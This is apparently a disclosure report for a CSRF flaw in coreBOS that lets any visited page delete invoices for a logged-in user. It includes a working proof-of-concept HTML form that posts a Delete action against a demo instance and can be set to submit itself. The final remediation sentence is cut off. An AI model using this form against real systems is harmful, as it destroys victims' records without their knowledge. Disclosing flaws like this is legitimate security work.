Cross-Site Request Forgery (CSRF) in tsolucio/corebos
Aug 5th 2021
Attacker able to delete any Invoice with CSRF attack because there is any CSRF protection for related endpoint.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can delete a Invoice, this means only with visiting a site a Invoice will be deleted.
🕵️♂️ Proof of Concept
1.fisrt user already should be logged in browser.
2.Open the PoC.html and click on submit button ( Also it can be auto-submit)
3.Here Invoice with record id
2816 will be deleted after clicking on submit button on PoC.html file.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://demo.corebos.com/index.php"> <input type="hidden" name="module" value="Invoice" /> <input type="hidden" name="action" value="Delete" /> <input type="hidden" name="record" value="2816" /> <input type="hidden" name="return_module" value="Invoice" /> <input type="hidden" name="return_action" value="index" /> <input type="hidden" name="return_viewname" value="21" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Also for real attacks the submit button can be auto-submit.
This vulnerability is capable of delete any Invoice.
set SameSite attribute of cookies to